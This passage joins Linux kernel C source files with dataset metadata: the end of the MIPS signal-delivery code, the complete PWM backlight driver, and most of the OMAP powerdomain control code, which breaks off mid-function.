sigcontext * * $25 and c0_epc point to the signal handler, $29 points to the * struct sigframe. */ regs->regs[ 4] = signr; regs->regs[ 5] = 0; regs->regs[ 6] = (unsigned long) &frame->sf_sc; regs->regs[29] = (unsigned long) frame; regs->regs[31] = (unsigned long) sig_return; regs->cp0_epc = regs->regs[25] = (unsigned long) ka->sa.sa_handler; DEBUGP("SIG deliver (%s:%d): sp=0x%p pc=0x%lx ra=0x%lx\n", current->comm, current->pid, frame, regs->cp0_epc, regs->regs[31]); return 0; give_sigsegv: force_sigsegv(signr, current); return -EFAULT; } #endif static int setup_rt_frame(void *sig_return, struct k_sigaction *ka, struct pt_regs *regs, int signr, sigset_t *set, siginfo_t *info) { struct rt_sigframe __user *frame; int err = 0; frame = get_sigframe(ka, regs, sizeof(*frame)); if (!access_ok(VERIFY_WRITE, frame, sizeof (*frame))) goto give_sigsegv; /* Create siginfo. */ err |= copy_siginfo_to_user(&frame->rs_info, info); /* Create the ucontext. */ err |= __put_user(0, &frame->rs_uc.uc_flags); err |= __put_user(NULL, &frame->rs_uc.uc_link); err |= __put_user((void __user *)current->sas_ss_sp, &frame->rs_uc.uc_stack.ss_sp); err |= __put_user(sas_ss_flags(regs->regs[29]), &frame->rs_uc.uc_stack.ss_flags); err |= __put_user(current->sas_ss_size, &frame->rs_uc.uc_stack.ss_size); err |= setup_sigcontext(regs, &frame->rs_uc.uc_mcontext); err |= __copy_to_user(&frame->rs_uc.uc_sigmask, set, sizeof(*set)); if (err) goto give_sigsegv; /* * Arguments to signal handler: * * a0 = signal number * a1 = 0 (should be cause) * a2 = pointer to ucontext * * $25 and c0_epc point to the signal handler, $29 points to * the struct rt_sigframe. */ regs->regs[ 4] = signr; regs->regs[ 5] = (unsigned long) &frame->rs_info; regs->regs[ 6] = (unsigned long) &frame->rs_uc; regs->regs[29] = (unsigned long) frame; regs->regs[31] = (unsigned long) sig_return; regs->cp0_epc = regs->regs[25] = (unsigned long) ka->sa.sa_handler; DEBUGP("SIG deliver (%s:%d): sp=0x%p pc=0x%lx ra=0x%lx\n", current->comm, current->pid, frame, regs->cp0_epc, regs->regs[31]); return 0; give_sigsegv: force_sigsegv(signr, current); return -EFAULT; } struct mips_abi mips_abi = { #ifdef CONFIG_TRAD_SIGNALS .setup_frame = setup_frame, .signal_return_offset = offsetof(struct mips_vdso, signal_trampoline), #endif .setup_rt_frame = setup_rt_frame, .rt_signal_return_offset = offsetof(struct mips_vdso, rt_signal_trampoline), .restart = __NR_restart_syscall }; static int handle_signal(unsigned long sig, siginfo_t *info, struct k_sigaction *ka, sigset_t *oldset, struct pt_regs *regs) { int ret; struct mips_abi *abi = current->thread.abi; void *vdso = current->mm->context.vdso; switch(regs->regs[0]) { case ERESTART_RESTARTBLOCK: case ERESTARTNOHAND: regs->regs[2] = EINTR; break; case ERESTARTSYS: if (!(ka->sa.sa_flags & SA_RESTART)) { regs->regs[2] = EINTR; break; } /* fallthrough */ case ERESTARTNOINTR: /* Userland will reload $v0. */ regs->regs[7] = regs->regs[26]; regs->cp0_epc -= 8; } regs->regs[0] = 0; /* Don't deal with this again. */ if (sig_uses_siginfo(ka)) ret = abi->setup_rt_frame(vdso + abi->rt_signal_return_offset, ka, regs, sig, oldset, info); else ret = abi->setup_frame(vdso + abi->signal_return_offset, ka, regs, sig, oldset); spin_lock_irq(&current->sighand->siglock); sigorsets(&current->blocked, &current->blocked, &ka->sa.sa_mask); if (!(ka->sa.sa_flags & SA_NODEFER)) sigaddset(&current->blocked, sig); recalc_sigpending(); spin_unlock_irq(&current->sighand->siglock); return ret; } static void do_signal(struct pt_regs *regs) { struct k_sigaction ka; sigset_t *oldset; siginfo_t info; int signr; /* * We want the common case to go fast, which is why we may in certain * cases get here from kernel mode. Just return without doing anything * if so. */ if (!user_mode(regs)) return; if (test_thread_flag(TIF_RESTORE_SIGMASK)) oldset = &current->saved_sigmask; else oldset = &current->blocked; signr = get_signal_to_deliver(&info, &ka, regs, NULL); if (signr > 0) { /* Whee! Actually deliver the signal. */ if (handle_signal(signr, &info, &ka, oldset, regs) == 0) { /* * A signal was successfully delivered; the saved * sigmask will have been stored in the signal frame, * and will be restored by sigreturn, so we can simply * clear the TIF_RESTORE_SIGMASK flag. */ if (test_thread_flag(TIF_RESTORE_SIGMASK)) clear_thread_flag(TIF_RESTORE_SIGMASK); } return; } /* * Who's code doesn't conform to the restartable syscall convention * dies here!!! The li instruction, a single machine instruction, * must directly be followed by the syscall instruction. */ if (regs->regs[0]) { if (regs->regs[2] == ERESTARTNOHAND || regs->regs[2] == ERESTARTSYS || regs->regs[2] == ERESTARTNOINTR) { regs->regs[7] = regs->regs[26]; regs->cp0_epc -= 8; } if (regs->regs[2] == ERESTART_RESTARTBLOCK) { regs->regs[2] = current->thread.abi->restart; regs->regs[7] = regs->regs[26]; regs->cp0_epc -= 4; } regs->regs[0] = 0; /* Don't deal with this again. */ } /* * If there's no signal to deliver, we just put the saved sigmask * back */ if (test_thread_flag(TIF_RESTORE_SIGMASK)) { clear_thread_flag(TIF_RESTORE_SIGMASK); sigprocmask(SIG_SETMASK, &current->saved_sigmask, NULL); } } /* * notification of userspace execution resumption * - triggered by the TIF_WORK_MASK flags */ asmlinkage void do_notify_resume(struct pt_regs *regs, void *unused, __u32 thread_info_flags) { /* deal with pending signal delivery */ if (thread_info_flags & (_TIF_SIGPENDING | _TIF_RESTORE_SIGMASK)) do_signal(regs); if (thread_info_flags & _TIF_NOTIFY_RESUME) { clear_thread_flag(TIF_NOTIFY_RESUME); tracehook_notify_resume(regs); if (current->replacement_session_keyring) key_replace_session_keyring(); } } #ifdef CONFIG_SMP static int smp_save_fp_context(struct sigcontext __user *sc) { return raw_cpu_has_fpu ? _save_fp_context(sc) : fpu_emulator_save_context(sc); } static int smp_restore_fp_context(struct sigcontext __user *sc) { return raw_cpu_has_fpu ? _restore_fp_context(sc) : fpu_emulator_restore_context(sc); } #endif static int signal_setup(void) { #ifdef CONFIG_SMP /* For now just do the cpu_has_fpu check when the functions are invoked */ save_fp_context = smp_save_fp_context; restore_fp_context = smp_restore_fp_context; #else if (cpu_has_fpu) { save_fp_context = _save_fp_context; restore_fp_context = _restore_fp_context; } else { save_fp_context = fpu_emulator_save_context; restore_fp_context = fpu_emulator_restore_context; } #endif return 0; } arch_initcall(signal_setup);
epic4g/samsung-kernel-c1spr-EK02
arch/mips/kernel/signal.c
C
gpl-2.0
18,687
/* * linux/drivers/video/backlight/pwm_bl.c * * simple PWM based backlight control, board code has to setup * 1) pin configuration so PWM waveforms can output * 2) platform_data being correctly configured * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. */ #include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> #include <linux/platform_device.h> #include <linux/fb.h> #include <linux/backlight.h> #include <linux/err.h> #include <linux/pwm.h> #include <linux/pwm_backlight.h> #include <linux/slab.h> struct pwm_bl_data { struct pwm_device *pwm; struct device *dev; unsigned int period; int (*notify)(struct device *, int brightness); }; static int pwm_backlight_update_status(struct backlight_device *bl) { struct pwm_bl_data *pb = dev_get_drvdata(&bl->dev); int brightness = bl->props.brightness; int max = bl->props.max_brightness; if (bl->props.power != FB_BLANK_UNBLANK) brightness = 0; if (bl->props.fb_blank != FB_BLANK_UNBLANK) brightness = 0; if (pb->notify) brightness = pb->notify(pb->dev, brightness); if (brightness == 0) { pwm_config(pb->pwm, 0, pb->period); pwm_disable(pb->pwm); } else { pwm_config(pb->pwm, brightness * pb->period / max, pb->period); pwm_enable(pb->pwm); } return 0; } static int pwm_backlight_get_brightness(struct backlight_device *bl) { return bl->props.brightness; } static const struct backlight_ops pwm_backlight_ops = { .update_status = pwm_backlight_update_status, .get_brightness = pwm_backlight_get_brightness, }; static int pwm_backlight_probe(struct platform_device *pdev) { struct backlight_properties props; struct platform_pwm_backlight_data *data = pdev->dev.platform_data; struct backlight_device *bl; struct pwm_bl_data *pb; int ret; if (!data) { dev_err(&pdev->dev, "failed to find platform data\n"); return -EINVAL; } if (data->init) { ret = data->init(&pdev->dev); if (ret < 0) return ret; } pb = kzalloc(sizeof(*pb), GFP_KERNEL); if (!pb) { dev_err(&pdev->dev, "no memory for state\n"); ret = -ENOMEM; goto err_alloc; } pb->period = data->pwm_period_ns; pb->notify = data->notify; pb->dev = &pdev->dev; pb->pwm = pwm_request(data->pwm_id, "backlight"); if (IS_ERR(pb->pwm)) { dev_err(&pdev->dev, "unable to request PWM for backlight\n"); ret = PTR_ERR(pb->pwm); goto err_pwm; } else dev_dbg(&pdev->dev, "got pwm for backlight\n"); memset(&props, 0, sizeof(struct backlight_properties)); props.max_brightness = data->max_brightness; bl = backlight_device_register(dev_name(&pdev->dev), &pdev->dev, pb, &pwm_backlight_ops, &props); if (IS_ERR(bl)) { dev_err(&pdev->dev, "failed to register backlight\n"); ret = PTR_ERR(bl); goto err_bl; } bl->props.brightness = data->dft_brightness; backlight_update_status(bl); platform_set_drvdata(pdev, bl); return 0; err_bl: pwm_free(pb->pwm); err_pwm: kfree(pb); err_alloc: if (data->exit) data->exit(&pdev->dev); return ret; } static int pwm_backlight_remove(struct platform_device *pdev) { struct platform_pwm_backlight_data *data = pdev->dev.platform_data; struct backlight_device *bl = platform_get_drvdata(pdev); struct pwm_bl_data *pb = dev_get_drvdata(&bl->dev); backlight_device_unregister(bl); pwm_config(pb->pwm, 0, pb->period); pwm_disable(pb->pwm); pwm_free(pb->pwm); kfree(pb); if (data->exit) data->exit(&pdev->dev); return 0; } #ifdef CONFIG_PM static int pwm_backlight_suspend(struct platform_device *pdev, pm_message_t state) { struct backlight_device *bl = platform_get_drvdata(pdev); struct pwm_bl_data *pb = dev_get_drvdata(&bl->dev); if (pb->notify) pb->notify(pb->dev, 0); pwm_config(pb->pwm, 0, pb->period); pwm_disable(pb->pwm); return 0; } static int pwm_backlight_resume(struct platform_device *pdev) { struct backlight_device *bl = platform_get_drvdata(pdev); backlight_update_status(bl); return 0; } #else #define pwm_backlight_suspend NULL #define pwm_backlight_resume NULL #endif static struct platform_driver pwm_backlight_driver = { .driver = { .name = "pwm-backlight", .owner = THIS_MODULE, }, .probe = pwm_backlight_probe, .remove = pwm_backlight_remove, .suspend = pwm_backlight_suspend, .resume = pwm_backlight_resume, }; static int __init pwm_backlight_init(void) { return platform_driver_register(&pwm_backlight_driver); } module_init(pwm_backlight_init); static void __exit pwm_backlight_exit(void) { platform_driver_unregister(&pwm_backlight_driver); } module_exit(pwm_backlight_exit); MODULE_DESCRIPTION("PWM based Backlight Driver"); MODULE_LICENSE("GPL"); MODULE_ALIAS("platform:pwm-backlight");
archos-sa/archos-gpl-gen9-kernel
drivers/video/backlight/pwm_bl.c
C
gpl-2.0
4,791
/* * OMAP powerdomain control * * Copyright (C) 2007-2008, 2011 Texas Instruments, Inc. * Copyright (C) 2007-2011 Nokia Corporation * * Written by Paul Walmsley * Added OMAP4 specific support by Abhijit Pagare <abhijitpagare@ti.com> * State counting code by Tero Kristo <tero.kristo@nokia.com> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. */ #undef DEBUG #include <linux/kernel.h> #include <linux/types.h> #include <linux/list.h> #include <linux/errno.h> #include <linux/string.h> #include <linux/spinlock.h> #include <trace/events/power.h> #include "cm2xxx_3xxx.h" #include "prcm44xx.h" #include "cm44xx.h" #include "prm2xxx_3xxx.h" #include "prm44xx.h" #include <asm/cpu.h> #include "powerdomain.h" #include "clockdomain.h" #include "soc.h" #include "pm.h" #define PWRDM_TRACE_STATES_FLAG (1<<31) enum { PWRDM_STATE_NOW = 0, PWRDM_STATE_PREV, }; /* * Types of sleep_switch used internally in omap_set_pwrdm_state() * and its associated static functions * * XXX Better documentation is needed here */ #define ALREADYACTIVE_SWITCH 0 #define FORCEWAKEUP_SWITCH 1 #define LOWPOWERSTATE_SWITCH 2 /* pwrdm_list contains all registered struct powerdomains */ static LIST_HEAD(pwrdm_list); static struct pwrdm_ops *arch_pwrdm; /* Private functions */ static struct powerdomain *_pwrdm_lookup(const char *name) { struct powerdomain *pwrdm, *temp_pwrdm; pwrdm = NULL; list_for_each_entry(temp_pwrdm, &pwrdm_list, node) { if (!strcmp(name, temp_pwrdm->name)) { pwrdm = temp_pwrdm; break; } } return pwrdm; } /** * _pwrdm_register - register a powerdomain * @pwrdm: struct powerdomain * to register * * Adds a powerdomain to the internal powerdomain list. Returns * -EINVAL if given a null pointer, -EEXIST if a powerdomain is * already registered by the provided name, or 0 upon success. */ static int _pwrdm_register(struct powerdomain *pwrdm) { int i; struct voltagedomain *voltdm; if (!pwrdm || !pwrdm->name) return -EINVAL; if (cpu_is_omap44xx() && pwrdm->prcm_partition == OMAP4430_INVALID_PRCM_PARTITION) { pr_err("powerdomain: %s: missing OMAP4 PRCM partition ID\n", pwrdm->name); return -EINVAL; } if (_pwrdm_lookup(pwrdm->name)) return -EEXIST; voltdm = voltdm_lookup(pwrdm->voltdm.name); if (!voltdm) { pr_err("powerdomain: %s: voltagedomain %s does not exist\n", pwrdm->name, pwrdm->voltdm.name); return -EINVAL; } pwrdm->voltdm.ptr = voltdm; INIT_LIST_HEAD(&pwrdm->voltdm_node); voltdm_add_pwrdm(voltdm, pwrdm); spin_lock_init(&pwrdm->_lock); list_add(&pwrdm->node, &pwrdm_list); /* Initialize the powerdomain's state counter */ for (i = 0; i < PWRDM_MAX_PWRSTS; i++) pwrdm->state_counter[i] = 0; pwrdm->ret_logic_off_counter = 0; for (i = 0; i < pwrdm->banks; i++) pwrdm->ret_mem_off_counter[i] = 0; arch_pwrdm->pwrdm_wait_transition(pwrdm); pwrdm->state = pwrdm_read_pwrst(pwrdm); pwrdm->state_counter[pwrdm->state] = 1; pr_debug("powerdomain: registered %s\n", pwrdm->name); return 0; } static void _update_logic_membank_counters(struct powerdomain *pwrdm) { int i; u8 prev_logic_pwrst, prev_mem_pwrst; prev_logic_pwrst = pwrdm_read_prev_logic_pwrst(pwrdm); if ((pwrdm->pwrsts_logic_ret == PWRSTS_OFF_RET) && (prev_logic_pwrst == PWRDM_POWER_OFF)) pwrdm->ret_logic_off_counter++; for (i = 0; i < pwrdm->banks; i++) { prev_mem_pwrst = pwrdm_read_prev_mem_pwrst(pwrdm, i); if ((pwrdm->pwrsts_mem_ret[i] == PWRSTS_OFF_RET) && (prev_mem_pwrst == PWRDM_POWER_OFF)) pwrdm->ret_mem_off_counter[i]++; } } static int _pwrdm_state_switch(struct powerdomain *pwrdm, int flag) { int prev, next, state, trace_state = 0; if (pwrdm == NULL) return -EINVAL; state = pwrdm_read_pwrst(pwrdm); switch (flag) { case PWRDM_STATE_NOW: prev = pwrdm->state; break; case PWRDM_STATE_PREV: prev = pwrdm_read_prev_pwrst(pwrdm); if (pwrdm->state != prev) pwrdm->state_counter[prev]++; if (prev == PWRDM_POWER_RET) _update_logic_membank_counters(pwrdm); /* * If the power domain did not hit the desired state, * generate a trace event with both the desired and hit states */ next = pwrdm_read_next_pwrst(pwrdm); if (next != prev) { trace_state = (PWRDM_TRACE_STATES_FLAG | ((next & OMAP_POWERSTATE_MASK) << 8) | ((prev & OMAP_POWERSTATE_MASK) << 0)); trace_power_domain_target(pwrdm->name, trace_state, smp_processor_id()); } break; default: return -EINVAL; } if (state != prev) pwrdm->state_counter[state]++; pm_dbg_update_time(pwrdm, prev); pwrdm->state = state; return 0; } static int _pwrdm_pre_transition_cb(struct powerdomain *pwrdm, void *unused) { pwrdm_clear_all_prev_pwrst(pwrdm); _pwrdm_state_switch(pwrdm, PWRDM_STATE_NOW); return 0; } static int _pwrdm_post_transition_cb(struct powerdomain *pwrdm, void *unused) { _pwrdm_state_switch(pwrdm, PWRDM_STATE_PREV); return 0; } /** * _pwrdm_save_clkdm_state_and_activate - prepare for power state change * @pwrdm: struct powerdomain * to operate on * @curr_pwrst: current power state of @pwrdm * @pwrst: power state to switch to * @hwsup: ptr to a bool to return whether the clkdm is hardware-supervised * * Determine whether the powerdomain needs to be turned on before * attempting to switch power states. Called by * omap_set_pwrdm_state(). NOTE that if the powerdomain contains * multiple clockdomains, this code assumes that the first clockdomain * supports software-supervised wakeup mode - potentially a problem. * Returns the power state switch mode currently in use (see the * "Types of sleep_switch" comment above). */ static u8 _pwrdm_save_clkdm_state_and_activate(struct powerdomain *pwrdm, u8 curr_pwrst, u8 pwrst, bool *hwsup) { u8 sleep_switch; if (curr_pwrst < PWRDM_POWER_ON) { if (curr_pwrst > pwrst && pwrdm->flags & PWRDM_HAS_LOWPOWERSTATECHANGE && arch_pwrdm->pwrdm_set_lowpwrstchange) { sleep_switch = LOWPOWERSTATE_SWITCH; } else { *hwsup = clkdm_in_hwsup(pwrdm->pwrdm_clkdms[0]); clkdm_wakeup_nolock(pwrdm->pwrdm_clkdms[0]); sleep_switch = FORCEWAKEUP_SWITCH; } } else { sleep_switch = ALREADYACTIVE_SWITCH; } return sleep_switch; } /** * _pwrdm_restore_clkdm_state - restore the clkdm hwsup state after pwrst change * @pwrdm: struct powerdomain * to operate on * @sleep_switch: return value from _pwrdm_save_clkdm_state_and_activate() * @hwsup: should @pwrdm's first clockdomain be set to hardware-supervised mode? * * Restore the clockdomain state perturbed by * _pwrdm_save_clkdm_state_and_activate(), and call the power state * bookkeeping code. Called by omap_set_pwrdm_state(). NOTE that if * the powerdomain contains multiple clockdomains, this assumes that * the first associated clockdomain supports either * hardware-supervised idle control in the register, or * software-supervised sleep. No return value. */ static void _pwrdm_restore_clkdm_state(struct powerdomain *pwrdm, u8 sleep_switch, bool hwsup) { switch (sleep_switch) { case FORCEWAKEUP_SWITCH: if (hwsup) clkdm_allow_idle_nolock(pwrdm->pwrdm_clkdms[0]); else clkdm_sleep_nolock(pwrdm->pwrdm_clkdms[0]); break; case LOWPOWERSTATE_SWITCH: if (pwrdm->flags & PWRDM_HAS_LOWPOWERSTATECHANGE && arch_pwrdm->pwrdm_set_lowpwrstchange) arch_pwrdm->pwrdm_set_lowpwrstchange(pwrdm); pwrdm_state_switch_nolock(pwrdm); break; } } /* Public functions */ /** * pwrdm_register_platform_funcs - register powerdomain implementation fns * @po: func pointers for arch specific implementations * * Register the list of function pointers used to implement the * powerdomain functions on different OMAP SoCs. Should be called * before any other pwrdm_register*() function. Returns -EINVAL if * @po is null, -EEXIST if platform functions have already been * registered, or 0 upon success. */ int pwrdm_register_platform_funcs(struct pwrdm_ops *po) { if (!po) return -EINVAL; if (arch_pwrdm) return -EEXIST; arch_pwrdm = po; return 0; } /** * pwrdm_register_pwrdms - register SoC powerdomains * @ps: pointer to an array of struct powerdomain to register * * Register the powerdomains available on a particular OMAP SoC. Must * be called after pwrdm_register_platform_funcs(). May be called * multiple times. Returns -EACCES if called before * pwrdm_register_platform_funcs(); -EINVAL if the argument @ps is * null; or 0 upon success. */ int pwrdm_register_pwrdms(struct powerdomain **ps) { struct powerdomain **p = NULL; if (!arch_pwrdm) return -EEXIST; if (!ps) return -EINVAL; for (p = ps; *p; p++) _pwrdm_register(*p); return 0; } /** * pwrdm_complete_init - set up the powerdomain layer * * Do whatever is necessary to initialize registered powerdomains and * powerdomain code. Currently, this programs the next power state * for each powerdomain to ON. This prevents powerdomains from * unexpectedly losing context or entering high wakeup latency modes * with non-power-management-enabled kernels. Must be called after * pwrdm_register_pwrdms(). Returns -EACCES if called before * pwrdm_register_pwrdms(), or 0 upon success. */ int pwrdm_complete_init(void) { struct powerdomain *temp_p; if (list_empty(&pwrdm_list)) return -EACCES; list_for_each_entry(temp_p, &pwrdm_list, node) pwrdm_set_next_pwrst(temp_p, PWRDM_POWER_ON); return 0; } /** * pwrdm_lock - acquire a Linux spinlock on a powerdomain * @pwrdm: struct powerdomain * to lock * * Acquire the powerdomain spinlock on @pwrdm. No return value. */ void pwrdm_lock(struct powerdomain *pwrdm) __acquires(&pwrdm->_lock) { spin_lock_irqsave(&pwrdm->_lock, pwrdm->_lock_flags); } /** * pwrdm_unlock - release a Linux spinlock on a powerdomain * @pwrdm: struct powerdomain * to unlock * * Release the powerdomain spinlock on @pwrdm. No return value. */ void pwrdm_unlock(struct powerdomain *pwrdm) __releases(&pwrdm->_lock) { spin_unlock_irqrestore(&pwrdm->_lock, pwrdm->_lock_flags); } /** * pwrdm_lookup - look up a powerdomain by name, return a pointer * @name: name of powerdomain * * Find a registered powerdomain by its name @name. Returns a pointer * to the struct powerdomain if found, or NULL otherwise. */ struct powerdomain *pwrdm_lookup(const char *name) { struct powerdomain *pwrdm; if (!name) return NULL; pwrdm = _pwrdm_lookup(name); return pwrdm; } /** * pwrdm_for_each - call function on each registered clockdomain * @fn: callback function * * * Call the supplied function @fn for each registered powerdomain. * The callback function @fn can return anything but 0 to bail out * early from the iterator. Returns the last return value of the * callback function, which should be 0 for success or anything else * to indicate failure; or -EINVAL if the function pointer is null. */ int pwrdm_for_each(int (*fn)(struct powerdomain *pwrdm, void *user), void *user) { struct powerdomain *temp_pwrdm; int ret = 0; if (!fn) return -EINVAL; list_for_each_entry(temp_pwrdm, &pwrdm_list, node) { ret = (*fn)(temp_pwrdm, user); if (ret) break; } return ret; } /** * pwrdm_add_clkdm - add a clockdomain to a powerdomain * @pwrdm: struct powerdomain * to add the clockdomain to * @clkdm: struct clockdomain * to associate with a powerdomain * * Associate the clockdomain @clkdm with a powerdomain @pwrdm. This * enables the use of pwrdm_for_each_clkdm(). Returns -EINVAL if * presented with invalid pointers; -ENOMEM if memory could not be allocated; * or 0 upon success. */ int pwrdm_add_clkdm(struct powerdomain *pwrdm, struct clockdomain *clkdm) { int i; int ret = -EINVAL; if (!pwrdm || !clkdm) return -EINVAL; pr_debug("powerdomain: %s: associating clockdomain %s\n", pwrdm->name, clkdm->name); for (i = 0; i < PWRDM_MAX_CLKDMS; i++) { if (!pwrdm->pwrdm_clkdms[i]) break; #ifdef DEBUG if (pwrdm->pwrdm_clkdms[i] == clkdm) { ret = -EINVAL; goto pac_exit; } #endif } if (i == PWRDM_MAX_CLKDMS) { pr_debug("powerdomain: %s: increase PWRDM_MAX_CLKDMS for clkdm %s\n", pwrdm->name, clkdm->name); WARN_ON(1); ret = -ENOMEM; goto pac_exit; } pwrdm->pwrdm_clkdms[i] = clkdm; ret = 0; pac_exit: return ret; } /** * pwrdm_del_clkdm - remove a clockdomain from a powerdomain * @pwrdm: struct powerdomain * to add the clockdomain to * @clkdm: struct clockdomain * to associate with a powerdomain * * Dissociate the clockdomain @clkdm from the powerdomain * @pwrdm. Returns -EINVAL if presented with invalid pointers; -ENOENT * if @clkdm was not associated with the powerdomain, or 0 upon * success. */ int pwrdm_del_clkdm(struct powerdomain *pwrdm, struct clockdomain *clkdm) { int ret = -EINVAL; int i; if (!pwrdm || !clkdm) return -EINVAL; pr_debug("powerdomain: %s: dissociating clockdomain %s\n", pwrdm->name, clkdm->name); for (i = 0; i < PWRDM_MAX_CLKDMS; i++) if (pwrdm->pwrdm_clkdms[i] == clkdm) break; if (i == PWRDM_MAX_CLKDMS) { pr_debug("powerdomain: %s: clkdm %s not associated?!\n", pwrdm->name, clkdm->name); ret = -ENOENT; goto pdc_exit; } pwrdm->pwrdm_clkdms[i] = NULL; ret = 0; pdc_exit: return ret; } /** * pwrdm_for_each_clkdm - call function on each clkdm in a pwrdm * @pwrdm: struct powerdomain * to iterate over * @fn: callback function * * * Call the supplied function @fn for each clockdomain in the powerdomain * @pwrdm. The callback function can return anything but 0 to bail * out early from the iterator. Returns -EINVAL if presented with * invalid pointers; or passes along the last return value of the * callback function, which should be 0 for success or anything else * to indicate failure. */ int pwrdm_for_each_clkdm(struct powerdomain *pwrdm, int (*fn)(struct powerdomain *pwrdm, struct clockdomain *clkdm)) { int ret = 0; int i; if (!fn) return -EINVAL; for (i = 0; i < PWRDM_MAX_CLKDMS && !ret; i++) ret = (*fn)(pwrdm, pwrdm->pwrdm_clkdms[i]); return ret; } /** * pwrdm_get_voltdm - return a ptr to the voltdm that this pwrdm resides in * @pwrdm: struct powerdomain * * * Return a pointer to the struct voltageomain that the specified powerdomain * @pwrdm exists in. */ struct voltagedomain *pwrdm_get_voltdm(struct powerdomain *pwrdm) { return pwrdm->voltdm.ptr; } /** * pwrdm_get_mem_bank_count - get number of memory banks in this powerdomain * @pwrdm: struct powerdomain * * * Return the number of controllable memory banks in powerdomain @pwrdm, * starting with 1. Returns -EINVAL if the powerdomain pointer is null. */ int pwrdm_get_mem_bank_count(struct powerdomain *pwrdm) { if (!pwrdm) return -EINVAL; return pwrdm->banks; } /** * pwrdm_set_next_pwrst - set next powerdomain power state * @pwrdm: struct powerdomain * to set * @pwrst: one of the PWRDM_POWER_* macros * * Set the powerdomain @pwrdm's next power state to @pwrst. The powerdomain * may not enter this state immediately if the preconditions for this state * have not been satisfied. Returns -EINVAL if the powerdomain pointer is * null or if the power state is invalid for the powerdomin, or returns 0 * upon success. */ int pwrdm_set_next_pwrst(struct powerdomain *pwrdm, u8 pwrst) { int ret = -EINVAL; if (!pwrdm) return -EINVAL; if (!(pwrdm->pwrsts & (1 << pwrst))) return -EINVAL; pr_debug("powerdomain: %s: setting next powerstate to %0x\n", pwrdm->name, pwrst); if (arch_pwrdm && arch_pwrdm->pwrdm_set_next_pwrst) { /* Trace the pwrdm desired target state */ trace_power_domain_target(pwrdm->name, pwrst, smp_processor_id()); /* Program the pwrdm desired target state */ ret = arch_pwrdm->pwrdm_set_next_pwrst(pwrdm, pwrst); } return ret; } /** * pwrdm_read_next_pwrst - get next powerdomain power state * @pwrdm: struct powerdomain * to get power state * * Return the powerdomain @pwrdm's next power state. Returns -EINVAL * if the powerdomain pointer is null or returns the next power state * upon success. */ int pwrdm_read_next_pwrst(struct powerdomain *pwrdm) { int ret = -EINVAL; if (!pwrdm) return -EINVAL; if (arch_pwrdm && arch_pwrdm->pwrdm_read_next_pwrst) ret = arch_pwrdm->pwrdm_read_next_pwrst(pwrdm); return ret; } /** * pwrdm_read_pwrst - get current powerdomain power state * @pwrdm: struct powerdomain * to get power state * * Return the powerdomain @pwrdm's current power state. Returns -EINVAL * if the powerdomain pointer is null or returns the current power state * upon success. Note that if the power domain only supports the ON state * then just return ON as the current state. */ int pwrdm_read_pwrst(struct powerdomain *pwrdm) { int ret = -EINVAL; if (!pwrdm) return -EINVAL; if (pwrdm->pwrsts == PWRSTS_ON) return PWRDM_POWER_ON; if (arch_pwrdm && arch_pwrdm->pwrdm_read_pwrst) ret = arch_pwrdm->pwrdm_read_pwrst(pwrdm); return ret; } /** * pwrdm_read_prev_pwrst - get previous powerdomain power state * @pwrdm: struct powerdomain * to get previous power state * * Return the powerdomain @pwrdm's previous power state. Returns -EINVAL * if the powerdomain pointer is null or returns the previous power state * upon success. */ int pwrdm_read_prev_pwrst(struct powerdomain *pwrdm) { int ret = -EINVAL; if (!pwrdm) return -EINVAL; if (arch_pwrdm && arch_pwrdm->pwrdm_read_prev_pwrst) ret = arch_pwrdm->pwrdm_read_prev_pwrst(pwrdm); return ret; } /** * pwrdm_set_logic_retst - set powerdomain logic power state upon retention * @pwrdm: struct powerdomain * to set * @pwrst: one of the PWRDM_POWER_* macros * * Set the next power state @pwrst that the logic portion of the * powerdomain @pwrdm will enter when the powerdomain enters retention. * This will be either RETENTION or OFF, if supported. Returns * -EINVAL if the powerdomain pointer is null or the target power * state is not not supported, or returns 0 upon success. */ int pwrdm_set_logic_retst(struct powerdomain *pwrdm, u8 pwrst) { int ret = -EINVAL; if (!pwrdm) return -EINVAL; if (!(pwrdm->pwrsts_logic_ret & (1 << pwrst))) return -EINVAL; pr_debug("powerdomain: %s: setting next logic powerstate to %0x\n", pwrdm->name, pwrst); if (arch_pwrdm && arch_pwrdm->pwrdm_set_logic_retst) ret = arch_pwrdm->pwrdm_set_logic_retst(pwrdm, pwrst); return ret; } /** * pwrdm_set_mem_onst - set memory power state while powerdomain ON * @pwrdm: struct powerdomain * to set * @bank: memory bank number to set (0-3) * @pwrst: one of the PWRDM_POWER_* macros * * Set the next power state @pwrst that memory bank @bank of the * powerdomain @pwrdm will enter when the powerdomain enters the ON * state. @bank will be a number from 0 to 3, and represents different * types of memory, depending on the powerdomain. Returns -EINVAL if * the powerdomain pointer is null or the target power state is not * not supported for this memory bank, -EEXIST if the target memory * bank does not exist or is not controllable, or returns 0 upon * success. */ int pwrdm_set_mem_onst(struct powerdomain *pwrdm, u8 bank, u8 pwrst) { int ret = -EINVAL; if (!pwrdm) return -EINVAL; if (pwrdm->banks < (bank + 1)) return -EEXIST; if (!(pwrdm->pwrsts_mem_on[bank] & (1 << pwrst))) return -EINVAL; pr_debug("powerdomain: %s: setting next memory powerstate for bank %0x while pwrdm-ON to %0x\n", pwrdm->name, bank, pwrst); if (arch_pwrdm && arch_pwrdm->pwrdm_set_mem_onst) ret = arch_pwrdm->pwrdm_set_mem_onst(pwrdm, bank, pwrst); return ret; } /** * pwrdm_set_mem_retst - set memory power state while powerdomain in RET * @pwrdm: struct powerdomain * to set * @bank: memory bank number to set (0-3) * @pwrst: one of the PWRDM_POWER_* macros * * Set the next power state @pwrst that memory bank @bank of the * powerdomain @pwrdm will enter when the powerdomain enters the * RETENTION state. Bank will be a number from 0 to 3, and represents * different types of memory, depending on the powerdomain. @pwrst * will be either RETENTION or OFF, if supported. Returns -EINVAL if * the powerdomain pointer is null or the target power state is not * not supported for this memory bank, -EEXIST if the target memory * bank does not exist or is not controllable, or returns 0 upon * success. */ int pwrdm_set_mem_retst(struct powerdomain *pwrdm, u8 bank, u8 pwrst) { int ret = -EINVAL; if (!pwrdm) return -EINVAL; if (pwrdm->banks < (bank + 1)) return -EEXIST; if (!(pwrdm->pwrsts_mem_ret[bank] & (1 << pwrst))) return -EINVAL; pr_debug("powerdomain: %s: setting next memory powerstate for bank 